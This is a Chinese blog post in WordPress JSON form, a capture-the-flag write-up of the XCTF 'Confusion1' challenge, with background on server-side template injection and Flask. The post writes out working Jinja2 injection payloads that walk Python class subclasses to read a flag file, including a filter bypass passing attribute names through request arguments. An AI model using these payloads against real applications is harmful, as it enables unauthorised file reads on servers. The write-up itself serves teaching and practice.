{"id":22918,"date":"2025-04-19T06:41:40","date_gmt":"2025-04-18T22:41:40","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/22918.html"},"modified":"2025-04-19T06:41:40","modified_gmt":"2025-04-18T22:41:40","slug":"3-%e6%94%bb%e9%98%b2%e4%b8%96%e7%95%8c-confusion1%ef%bc%88%e6%9c%8d%e5%8a%a1%e5%99%a8%e6%a8%a1%e6%9d%bf%e6%b3%a8%e5%85%a5ssti%ef%bc%89","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/22918.html","title":{"rendered":"3.\u653b\u9632\u4e16\u754c Confusion1\uff08\u670d\u52a1\u5668\u6a21\u677f\u6ce8\u5165SSTI\uff09"},"content":{"rendered":"<p>\u9898\u76ee\u63cf\u8ff0\u5982\u4e0b<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"526\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/04\/20250418224136-6802d520ab3c9.png\" width=\"1001\" \/><\/p>\n<p>\u8fdb\u5165\u9898\u76ee\u9875\u9762\u5982\u4e0b<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"672\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/04\/20250418224136-6802d520df70f.png\" width=\"1850\" \/><\/p>\n<p>\u56fe\u7247\u662f\u87d2\u86c7\u3001\u5927\u8c61&#xff1f;python\u3001php&#xff1f;<\/p>\n<p>\u731c\u6d4b\u9700\u8981\u4ee3\u7801\u5ba1\u8ba1<\/p>\n<p>\u70b9\u51fb<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"702\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/04\/20250418224137-6802d5217f6f9.png\" width=\"1920\" \/><\/p>\n<p>F12\u67e5\u770b\u6e90\u7801&#xff0c;\u6709\u6240\u63d0\u793aflag<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"380\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/04\/20250418224138-6802d5221a7ed.png\" width=\"1920\" \/><\/p>\n<p>\u4f46\u662f\u4e5f\u6ca1\u6709\u5176\u4ed6\u4fe1\u606f\u4e86<\/p>\n<p>\u731c\u6d4b\u672c\u9898\u5b58\u5728SSTI&#xff08;\u670d\u52a1\u5668\u6a21\u677f\u6ce8\u5165&#xff09;\u6f0f\u6d1e&#xff0c;\u4e3a\u9a8c\u8bc1&#xff0c;\u6784\u9020payload<\/p>\n<p>\/login.php\/{<br \/>\n  {1&#043;2}}<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"228\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/04\/20250418224138-6802d52267290.png\" width=\"1079\" \/><\/p>\n<p>\u9875\u9762\u8fd4\u56de3&#xff0c;\u8f93\u5165\u76841&#043;2\u6267\u884c\u4e86<\/p>\n<p>\u6240\u4ee5\u670d\u52a1\u5668\u4e5f\u6267\u884c\u4e86{<br \/>\n {}}\u91cc\u7684\u5185\u5bb9&#xff0c;\u6545\u5b58\u5728SSTI\u6f0f\u6d1e<\/p>\n<hr \/>\n<h3>SSTI&#xff08;\u670d\u52a1\u5668\u6a21\u677f\u6ce8\u5165&#xff09;\u6f0f\u6d1e<\/h3>\n<h4>\u57fa\u672c\u6982\u5ff5<\/h4>\n<p>\u5728 Web \u5e94\u7528\u5f00\u53d1\u4e2d&#xff0c;\u4e3a\u5b9e\u73b0\u52a8\u6001\u9875\u9762\u7684\u751f\u6210&#xff0c;\u5e38\u5e38\u4f1a\u4f7f\u7528\u6a21\u677f\u5f15\u64ce\u3002\u6a21\u677f\u5f15\u64ce\u5c06\u6a21\u677f\u6587\u4ef6\u548c\u52a8\u6001\u6570\u636e\u76f8\u7ed3\u5408&#xff0c;\u751f\u6210\u6700\u7ec8\u7684 HTML \u9875\u9762\u8fd4\u56de\u7ed9\u7528\u6237\u3002\u800c\u5f53\u5e94\u7528\u7a0b\u5e8f\u5728\u5904\u7406\u7528\u6237\u8f93\u5165\u65f6&#xff0c;\u672a\u5bf9\u5176\u8fdb\u884c\u4e25\u683c\u7684\u8fc7\u6ee4\u548c\u9a8c\u8bc1&#xff0c;\u76f4\u63a5\u5c06\u7528\u6237\u8f93\u5165\u5d4c\u5165\u5230\u6a21\u677f\u4e2d\u8fdb\u884c\u6e32\u67d3&#xff0c;\u5c31\u53ef\u80fd\u5bfc\u81f4\u670d\u52a1\u5668\u6a21\u677f\u6ce8\u5165\u6f0f\u6d1e<\/p>\n<h4>\u4ea7\u751f\u539f\u56e0<\/h4>\n<p>\u5728\u63a5\u6536\u7528\u6237\u8f93\u5165\u65f6&#xff0c;\u6ca1\u6709\u5bf9\u8f93\u5165\u5185\u5bb9\u8fdb\u884c\u4e25\u683c\u7684\u68c0\u67e5\u548c\u8fc7\u6ee4&#xff0c;\u76f4\u63a5\u5c06\u5176\u4f20\u9012\u7ed9\u6a21\u677f\u5f15\u64ce\u8fdb\u884c\u5904\u7406\u3002\u5728\u4e00\u4e2a\u4f7f\u7528 Flask \u6846\u67b6\u7684\u5e94\u7528\u4e2d&#xff0c;\u76f4\u63a5\u5c06\u7528\u6237\u8f93\u5165\u7684\u53c2\u6570\u62fc\u63a5\u5230\u6a21\u677f\u5b57\u7b26\u4e32\u4e2d&#xff0c;\u6ca1\u6709\u505a\u4efb\u4f55\u8fc7\u6ee4&#xff0c;\u5c31\u53ef\u80fd\u5f15\u53d1 SSTI \u6f0f\u6d1e<\/p>\n<p>\u6a21\u677f\u5f15\u64ce\u7684\u914d\u7f6e\u4e0d\u5f53\u4e5f\u53ef\u80fd\u5bfc\u81f4\u6f0f\u6d1e\u3002\u6709\u4e9b\u6a21\u677f\u5f15\u64ce\u5728\u9ed8\u8ba4\u60c5\u51b5\u4e0b\u53ef\u80fd\u5141\u8bb8\u6267\u884c\u67d0\u4e9b\u5371\u9669\u7684\u64cd\u4f5c<\/p>\n<h4>\u653b\u51fb\u539f\u7406<\/h4>\n<p>\u901a\u8fc7\u6784\u9020\u7279\u6b8a\u7684\u8f93\u5165&#xff0c;\u8ba9\u6a21\u677f\u5f15\u64ce\u5c06\u5176\u89e3\u6790\u4e3a\u6076\u610f\u7684\u6a21\u677f\u6307\u4ee4\u5e76\u6267\u884c\u3002\u4e0d\u540c\u7684\u6a21\u677f\u5f15\u64ce\u6709\u4e0d\u540c\u7684\u8bed\u6cd5&#xff0c;\u8fd9\u5c31\u9700\u8981\u4e86\u89e3\u76ee\u6807\u5e94\u7528\u6240\u4f7f\u7528\u7684\u6a21\u677f\u5f15\u64ce&#xff0c;\u7136\u540e\u4f7f\u7528\u76f8\u5e94\u7684\u8bed\u6cd5\u8fdb\u884c\u653b\u51fb\u3002<\/p>\n<h4>\u68c0\u6d4b\u65b9\u6cd5<\/h4>\n<p>\u624b\u52a8\u6d4b\u8bd5&#xff1a;\u901a\u8fc7\u6784\u9020\u4e00\u4e9b\u7b80\u5355\u7684\u6d4b\u8bd5\u7528\u4f8b&#xff0c;\u5982\u6570\u5b66\u8868\u8fbe\u5f0f&#xff08;{<br \/>\n  { 1&#043;1 }}&#xff09;\u3001\u51fd\u6570\u8c03\u7528\u7b49&#xff0c;\u89c2\u5bdf\u9875\u9762\u7684\u54cd\u5e94\u3002\u5982\u679c\u9875\u9762\u8fd4\u56de\u4e86\u8868\u8fbe\u5f0f\u7684\u8ba1\u7b97\u7ed3\u679c&#xff0c;\u90a3\u4e48\u5f88\u53ef\u80fd\u5b58\u5728 SSTI \u6f0f\u6d1e\u3002<\/p>\n<p>\u5de5\u5177&#xff1a;\u4f7f\u7528\u4e00\u4e9b\u5b89\u5168\u6d4b\u8bd5\u5de5\u5177&#xff0c;\u5982 Burp Suite\u3001Nmap \u7b49&#xff0c;\u8fd9\u4e9b\u5de5\u5177\u53ef\u4ee5\u5e2e\u52a9\u5feb\u901f\u53d1\u73b0\u6f5c\u5728\u7684 SSTI \u6f0f\u6d1e\u3002\u5728 Burp Suite \u7684 Intruder \u6a21\u5757\u4e2d&#xff0c;\u53ef\u4ee5\u8bbe\u7f6e\u4e0d\u540c\u7684\u6709\u6548\u8d1f\u8f7d\u5bf9\u76ee\u6807\u5e94\u7528\u8fdb\u884c\u6d4b\u8bd5\u3002<\/p>\n<hr \/>\n<h4>\u6d4b\u8bd5\u662fJinja2\u6a21\u677f<\/h4>\n<p>Jinja2 \u662f Python \u4e2d\u5e38\u7528\u7684\u6a21\u677f\u5f15\u64ce<\/p>\n<h5>\u539f\u7406<\/h5>\n<p>Jinja2 \u5141\u8bb8\u5728\u6a21\u677f\u4e2d\u4f7f\u7528 Python \u8868\u8fbe\u5f0f&#xff0c;\u6211\u4eec\u53ef\u4ee5\u5229\u7528\u5176\u5185\u7f6e\u7684\u5bf9\u8c61\u548c\u51fd\u6570\u6765\u5b9e\u73b0\u6587\u4ef6\u8bfb\u53d6<\/p>\n<p>\u8bfb\u53d6\u6587\u4ef6&#xff1a;\u4f7f\u7528 Python \u7684\u00a0open\u00a0\u51fd\u6570\u6765\u8bfb\u53d6\u6587\u4ef6&#xff0c;\u6784\u9020payload\u5982\u4e0b<\/p>\n<p>http:\/\/61.147.171.105:56370\/login.php\/{<\/p>\n<p>  { open(&#039;\/opt\/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt&#039;).read() }} <\/p>\n<p>\u4f20\u53c2&#xff0c;\u62a5\u9519\u4e86&#xff0c;\u770b\u6765\u662f\u6709\u8fc7\u6ee4<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"202\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/04\/20250418224138-6802d52295661.png\" width=\"1920\" \/><\/p>\n<p>\u518d\u6b21\u6784\u9020<\/p>\n<h5>\u5229\u7528\u00a0getattr\u00a0\u51fd\u6570<\/h5>\n<p>getattr\u00a0\u51fd\u6570\u53ef\u4ee5\u52a8\u6001\u83b7\u53d6\u5bf9\u8c61\u7684\u5c5e\u6027\u6216\u65b9\u6cd5<\/p>\n<p>http:\/\/61.147.171.105:56370\/login.php\/{<\/p>\n<p>  { &#039;&#039;.__class__.__mro__[2].__subclasses__()[40]( &#039;\/opt\/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt&#039; ).read() }} <\/p>\n<p><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"218\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/04\/20250418224138-6802d522cbbb8.png\" width=\"1523\" \/><\/p>\n<p>\u4e5f\u8fc7\u6ee4\u4e86qyq<\/p>\n<p>\u8bd5\u8bd5\u9010\u5b57\u7b26\u62fc\u63a5\u51fd\u6570\u540d<\/p>\n<p>http:\/\/61.147.171.105:56370\/login.php\/{<\/p>\n<p>  { &#039;&#039;.__class__.__mro__[2].__subclasses__()[40]( &#039;\/opt\/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt&#039; )[ &#039;r&#039; &#043; &#039;e&#039; &#043; &#039;a&#039; &#043; &#039;d&#039; ]() }} <\/p>\n<p>\u8fd8\u662f\u4e0d\u884c&#xff0c;\u518d\u8bd5\u8bd5request\u51fd\u6570<\/p>\n<p>\u6784\u9020payload<\/p>\n<p>http:\/\/61.147.171.105:56370\/login.php\/{<\/p>\n<p>  {&#039;&#039;[request.args.a][request.args.b][2][request.args.c]()[40](&#039;\/opt\/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt&#039;)[request.args.d]()}}?a&#061;__class__&amp;b&#061;__mro__&amp;c&#061;__subclasses__&amp;d&#061;read <\/p>\n<p>\u4ee5\u4e00\u4e2a\u7a7a\u5b57\u7b26\u4e32\u00a0&#039;&#039;\u00a0\u4f5c\u4e3a\u8d77\u59cb\u5bf9\u8c61&#xff0c;\u56e0\u4e3a\u5728 Python \u4e2d&#xff0c;\u6240\u6709\u5bf9\u8c61\u90fd\u7ee7\u627f\u81ea\u00a0object\u00a0\u7c7b&#xff0c;\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u7a7a\u5b57\u7b26\u4e32\u5bf9\u8c61\u9010\u6b65\u5411\u4e0a\u67e5\u627e\u7c7b\u5c42\u6b21\u7ed3\u6784<\/p>\n<p>&#039;&#039;.__class__&#xff1a;\u83b7\u53d6\u7a7a\u5b57\u7b26\u4e32\u5bf9\u8c61\u7684\u7c7b&#xff0c;\u5373\u00a0str\u00a0\u7c7b\u3002<\/p>\n<p>__mro__&#xff1a;\u662f Python \u7c7b\u7684\u4e00\u4e2a\u5c5e\u6027&#xff0c;\u5b83\u8868\u793a\u65b9\u6cd5\u89e3\u6790\u987a\u5e8f&#xff08;Method Resolution Order&#xff09;&#xff0c;\u662f\u4e00\u4e2a\u5305\u542b\u7c7b\u5c42\u6b21\u7ed3\u6784\u7684\u5143\u7ec4\u3002<\/p>\n<p>[2]&#xff1a;\u901a\u8fc7\u7d22\u5f15\u00a02\u00a0\u53ef\u4ee5\u4ece\u00a0str\u00a0\u7c7b\u7684\u00a0__mro__\u00a0\u5143\u7ec4\u4e2d\u83b7\u53d6\u5230\u00a0object\u00a0\u7c7b\u3002\u5728 Python \u4e2d&#xff0c;object\u00a0\u7c7b\u662f\u6240\u6709\u7c7b\u7684\u57fa\u7c7b&#xff0c;\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u5b83\u83b7\u53d6\u6240\u6709\u5b50\u7c7b\u5217\u8868<\/p>\n<p>__subclasses__()\u00a0\u662f Python \u7c7b\u7684\u4e00\u4e2a\u65b9\u6cd5&#xff0c;\u5b83\u4f1a\u8fd4\u56de\u8be5\u7c7b\u7684\u6240\u6709\u76f4\u63a5\u5b50\u7c7b\u7ec4\u6210\u7684\u5217\u8868<\/p>\n<p>\u7d22\u5f15\u00a040\u00a0\u5bf9\u5e94\u7684\u7c7b\u901a\u5e38\u662f\u00a0_io.TextIOWrapper\u00a0\u7c7b&#xff08;\u5728 Python 3 \u4e2d&#xff09;\u6216\u8005\u00a0file\u00a0\u7c7b&#xff08;\u5728 Python 2 \u4e2d&#xff09;&#xff0c;\u8fd9\u4e2a\u7c7b\u53ef\u4ee5\u7528\u4e8e\u6587\u4ef6\u7684\u8bfb\u5199\u64cd\u4f5c<\/p>\n<p>\u8c03\u7528\u00a0_io.TextIOWrapper\u00a0\u7c7b\u7684\u6784\u9020\u51fd\u6570&#xff0c;\u4f20\u5165\u8981\u8bfb\u53d6\u7684\u6587\u4ef6\u8def\u5f84&#xff0c;\u4ece\u800c\u6253\u5f00\u6307\u5b9a\u6587\u4ef6<\/p>\n<p>.read()&#xff1a;\u8c03\u7528\u6253\u5f00\u6587\u4ef6\u5bf9\u8c61\u7684\u00a0read\u00a0\u65b9\u6cd5&#xff0c;\u8bfb\u53d6\u6587\u4ef6\u7684\u5168\u90e8\u5185\u5bb9<\/p>\n<\/p>\n<p>\u7ec8\u4e8e\u5f97\u5230flag<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"240\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/04\/20250418224139-6802d52305295.png\" width=\"1458\" \/><\/p>\n<hr \/>\n<h3>Flask \u6846\u67b6<\/h3>\n<p>Flask \u662f\u4e00\u4e2a\u8f7b\u91cf\u7ea7\u7684 Python Web \u6846\u67b6&#xff0c;\u4e5f\u88ab\u79f0\u4e3a \u201c\u5fae\u6846\u67b6\u201d&#xff0c;\u5b83\u4e3a\u5f00\u53d1\u8005\u63d0\u4f9b\u4e86\u521b\u5efa Web \u5e94\u7528\u7684\u57fa\u7840\u5de5\u5177\u548c\u529f\u80fd&#xff0c;\u6613\u4e8e\u4e0a\u624b\u548c\u6269\u5c55<\/p>\n<h4>\u7279\u70b9<\/h4>\n<li>\u8f7b\u91cf\u7ea7&#xff1a;Flask \u6838\u5fc3\u7b80\u5355\u4e14\u5c0f\u5de7&#xff0c;\u4ec5\u5305\u542b\u4e86 Web \u5e94\u7528\u7684\u57fa\u672c\u529f\u80fd&#xff0c;\u5982\u8def\u7531\u3001\u8bf7\u6c42\u5904\u7406\u3001\u54cd\u5e94\u8fd4\u56de\u7b49&#xff0c;\u4e0d\u5f3a\u5236\u5f00\u53d1\u8005\u4f7f\u7528\u7279\u5b9a\u7684\u6570\u636e\u5e93\u3001\u6a21\u677f\u5f15\u64ce\u6216\u5176\u4ed6\u7ec4\u4ef6&#xff0c;\u7ed9\u4e88\u5f00\u53d1\u8005\u5f88\u5927\u7684\u81ea\u7531\u5ea6\u6765\u9009\u62e9\u5408\u9002\u7684\u5de5\u5177\u548c\u5e93\u3002<\/li>\n<li>\u53ef\u6269\u5c55\u6027\u5f3a&#xff1a;\u7531\u4e8e\u5176\u8f7b\u91cf\u7ea7\u7684\u7279\u6027&#xff0c;Flask \u5f88\u5bb9\u6613\u4e0e\u5176\u4ed6\u7b2c\u4e09\u65b9\u5e93\u96c6\u6210&#xff0c;\u5982\u6570\u636e\u5e93\u64cd\u4f5c\u5e93&#xff08;SQLAlchemy\u3001Peewee \u7b49&#xff09;\u3001\u8868\u5355\u5904\u7406\u5e93&#xff08;WTForms&#xff09;\u3001\u8ba4\u8bc1\u5e93&#xff08;Flask &#8211; Login&#xff09;\u7b49&#xff0c;\u5f00\u53d1\u8005\u53ef\u4ee5\u6839\u636e\u9879\u76ee\u9700\u6c42\u7075\u6d3b\u6269\u5c55\u529f\u80fd\u3002<\/li>\n<li>\u6613\u4e8e\u4e0a\u624b&#xff1a;Flask \u7684\u6587\u6863\u6e05\u6670\u7b80\u6d01&#xff0c;\u4ee3\u7801\u7ed3\u6784\u7b80\u5355\u6613\u61c2&#xff0c;\u5bf9\u4e8e\u521d\u5b66\u8005\u6765\u8bf4&#xff0c;\u80fd\u591f\u5feb\u901f\u7406\u89e3\u548c\u638c\u63e1\u5176\u57fa\u672c\u6982\u5ff5\u548c\u4f7f\u7528\u65b9\u6cd5&#xff0c;\u5feb\u901f\u642d\u5efa\u8d77\u4e00\u4e2a\u7b80\u5355\u7684 Web \u5e94\u7528\u3002<\/li>\n<li>\u57fa\u4e8e Werkzeug \u548c Jinja2&#xff1a;Flask \u57fa\u4e8e Werkzeug WSGI \u5de5\u5177\u5305\u548c Jinja2 \u6a21\u677f\u5f15\u64ce\u6784\u5efa\u3002Werkzeug \u63d0\u4f9b\u4e86\u8bf7\u6c42\u548c\u54cd\u5e94\u5904\u7406\u3001\u8def\u7531\u5339\u914d\u7b49\u529f\u80fd&#xff0c;Jinja2 \u5219\u7528\u4e8e\u6a21\u677f\u6e32\u67d3&#xff0c;\u65b9\u4fbf\u5f00\u53d1\u8005\u751f\u6210\u52a8\u6001 HTML \u9875\u9762\u3002<\/li>\n<h4>\u4e3b\u8981\u7ec4\u4ef6<\/h4>\n<p>\u8def\u7531\u7cfb\u7edf&#xff1a;Flask \u4f7f\u7528\u88c5\u9970\u5668\u6765\u5b9a\u4e49\u8def\u7531&#xff0c;\u5141\u8bb8\u5f00\u53d1\u8005\u5c06 URL \u8def\u5f84\u6620\u5c04\u5230\u5bf9\u5e94\u7684\u89c6\u56fe\u51fd\u6570\u3002<\/p>\n<p>\u8bf7\u6c42\u548c\u54cd\u5e94&#xff1a;Flask \u63d0\u4f9b\u4e86request\u5bf9\u8c61\u6765\u5904\u7406\u5ba2\u6237\u7aef\u7684\u8bf7\u6c42\u4fe1\u606f&#xff0c;\u5982\u83b7\u53d6\u8bf7\u6c42\u53c2\u6570\u3001\u8bf7\u6c42\u65b9\u6cd5\u7b49&#xff1b;\u4f7f\u7528Response\u5bf9\u8c61\u6765\u8fd4\u56de\u54cd\u5e94\u7ed9\u5ba2\u6237\u7aef\u3002<\/p>\n<p>\u6a21\u677f\u5f15\u64ce&#xff1a;Flask \u9ed8\u8ba4\u4f7f\u7528 Jinja2 \u6a21\u677f\u5f15\u64ce&#xff0c;\u5141\u8bb8\u5f00\u53d1\u8005\u5c06\u52a8\u6001\u6570\u636e\u4e0e HTML \u6a21\u677f\u7ed3\u5408\u751f\u6210\u52a8\u6001\u9875\u9762\u3002<\/p>\n<h4>\u5e94\u7528\u573a\u666f<\/h4>\n<li>\u5feb\u901f\u539f\u578b\u5f00\u53d1&#xff1a;\u7531\u4e8e Flask \u6613\u4e8e\u4e0a\u624b\u548c\u5feb\u901f\u642d\u5efa&#xff0c;\u9002\u5408\u5728\u9879\u76ee\u521d\u671f\u8fdb\u884c\u5feb\u901f\u539f\u578b\u5f00\u53d1&#xff0c;\u9a8c\u8bc1\u9879\u76ee\u7684\u53ef\u884c\u6027\u548c\u529f\u80fd\u9700\u6c42\u3002<\/li>\n<li>\u5c0f\u578b Web \u5e94\u7528&#xff1a;\u5bf9\u4e8e\u4e00\u4e9b\u529f\u80fd\u7b80\u5355\u3001\u89c4\u6a21\u8f83\u5c0f\u7684 Web \u5e94\u7528&#xff0c;\u5982\u4e2a\u4eba\u535a\u5ba2\u3001\u5c0f\u578b\u4f01\u4e1a\u7f51\u7ad9\u7b49&#xff0c;Flask \u7684\u8f7b\u91cf\u7ea7\u7279\u6027\u53ef\u4ee5\u6ee1\u8db3\u9700\u6c42&#xff0c;\u5e76\u4e14\u6613\u4e8e\u7ef4\u62a4\u3002<\/li>\n<li>API \u5f00\u53d1&#xff1a;Flask \u53ef\u4ee5\u65b9\u4fbf\u5730\u521b\u5efa RESTful API&#xff0c;\u7ed3\u5408 JSON \u6570\u636e\u683c\u5f0f&#xff0c;\u4e3a\u524d\u7aef\u5e94\u7528\u6216\u5176\u4ed6\u670d\u52a1\u63d0\u4f9b\u6570\u636e\u63a5\u53e3<\/li>\n","protected":false},"excerpt":{"rendered":"<p>\u6587\u7ae0\u6d4f\u89c8\u9605\u8bfb1k\u6b21\uff0c\u70b9\u8d5e28\u6b21\uff0c\u6536\u85cf17\u6b21\u3002SSTI(\u670d\u52a1\u5668\u6a21\u677f\u6ce8\u5165)\u6f0f\u6d1e\u57fa\u672c\u6982\u5ff5\u4ea7\u751f\u539f\u56e0\u653b\u51fb\u539f\u7406\u68c0\u6d4b\u65b9\u6cd5\u6d4b\u8bd5\u662fJinja2\u6a21\u677f\u539f\u7406\u5229\u7528getattr\u51fd\u6570Flask \u6846\u67b6\u7279\u70b9\u4e3b\u8981\u7ec4\u4ef6\u5e94\u7528\u573a\u666f_\u653b\u9632\u4e16\u754c confusion1<\/p>\n","protected":false},"author":2,"featured_media":22910,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[230,81,275,61,78,122],"topic":[],"class_list":["post-22918","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-server","tag-php","tag-python","tag-web","tag-61","tag-78","tag-122"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.3 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>3.\u653b\u9632\u4e16\u754c Confusion1\uff08\u670d\u52a1\u5668\u6a21\u677f\u6ce8\u5165SSTI\uff09 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.wsisp.com\/helps\/22918.html\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"3.\u653b\u9632\u4e16\u754c Confusion1\uff08\u670d\u52a1\u5668\u6a21\u677f\u6ce8\u5165SSTI\uff09 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"og:description\" content=\"\u6587\u7ae0\u6d4f\u89c8\u9605\u8bfb1k\u6b21\uff0c\u70b9\u8d5e28\u6b21\uff0c\u6536\u85cf17\u6b21\u3002SSTI(\u670d\u52a1\u5668\u6a21\u677f\u6ce8\u5165)\u6f0f\u6d1e\u57fa\u672c\u6982\u5ff5\u4ea7\u751f\u539f\u56e0\u653b\u51fb\u539f\u7406\u68c0\u6d4b\u65b9\u6cd5\u6d4b\u8bd5\u662fJinja2\u6a21\u677f\u539f\u7406\u5229\u7528getattr\u51fd\u6570Flask \u6846\u67b6\u7279\u70b9\u4e3b\u8981\u7ec4\u4ef6\u5e94\u7528\u573a\u666f_\u653b\u9632\u4e16\u754c confusion1\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.wsisp.com\/helps\/22918.html\" \/>\n<meta property=\"og:site_name\" content=\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"article:published_time\" content=\"2025-04-18T22:41:40+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/04\/20250418224136-6802d520ab3c9.png\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/22918.html\",\"url\":\"https:\/\/www.wsisp.com\/helps\/22918.html\",\"name\":\"3.\u653b\u9632\u4e16\u754c Confusion1\uff08\u670d\u52a1\u5668\u6a21\u677f\u6ce8\u5165SSTI\uff09 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"isPartOf\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\"},\"datePublished\":\"2025-04-18T22:41:40+00:00\",\"dateModified\":\"2025-04-18T22:41:40+00:00\",\"author\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/22918.html#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.wsisp.com\/helps\/22918.html\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/22918.html#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9875\",\"item\":\"https:\/\/www.wsisp.com\/helps\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"3.\u653b\u9632\u4e16\u754c Confusion1\uff08\u670d\u52a1\u5668\u6a21\u677f\u6ce8\u5165SSTI\uff09\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\",\"url\":\"https:\/\/www.wsisp.com\/helps\/\",\"name\":\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"description\":\"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"contentUrl\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"caption\":\"admin\"},\"sameAs\":[\"http:\/\/wp.wsisp.com\"],\"url\":\"https:\/\/www.wsisp.com\/helps\/author\/admin\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"3.\u653b\u9632\u4e16\u754c Confusion1\uff08\u670d\u52a1\u5668\u6a21\u677f\u6ce8\u5165SSTI\uff09 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.wsisp.com\/helps\/22918.html","og_locale":"zh_CN","og_type":"article","og_title":"3.\u653b\u9632\u4e16\u754c Confusion1\uff08\u670d\u52a1\u5668\u6a21\u677f\u6ce8\u5165SSTI\uff09 - 